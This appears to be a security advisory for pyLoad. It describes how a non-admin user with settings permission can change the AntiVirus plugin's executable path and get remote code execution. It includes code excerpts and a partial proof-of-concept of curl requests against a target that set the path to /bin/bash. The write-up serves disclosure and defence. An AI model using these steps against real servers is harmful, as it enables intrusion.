The ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.
Safe wrapper — ADMIN_ONLY_OPTIONS (core/api/init.py:225-235):
ADMIN_ONLY_OPTIONS = {
"reconnect.script", # Blocks script path change
"webui.host", # Blocks bind address change
"ssl.cert_file", # Blocks cert path change
"ssl.key_file", # Blocks key path change
# ... other sensitive options
}
Where it IS enforced — core config (core/api/init.py:255):
def set_config_value(self, section, option, value):
if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
if not self.user.is_admin:
raise PermissionError("Admin only")
# ...
Where it is NOT enforced — plugin config (core/api/init.py:271-272):
# Plugin config - NO admin check at all
self.pyload.config.set_plugin(category, option, value)
Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):
def scan_file(self, file):
avfile = self.config.get("avfile") # User-controlled via plugin config
avargs = self.config.get("avargs")
subprocess.Popen([avfile, avargs, target]) # RCE
# As non-admin user with SETTINGS permission:
# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.avfile' \
-d 'value=/bin/bash'
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
-d...
Exploitability
AV:NAC:LPR:LUI:NScope
S:UImpact
C:HI:HA:H8.8/CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H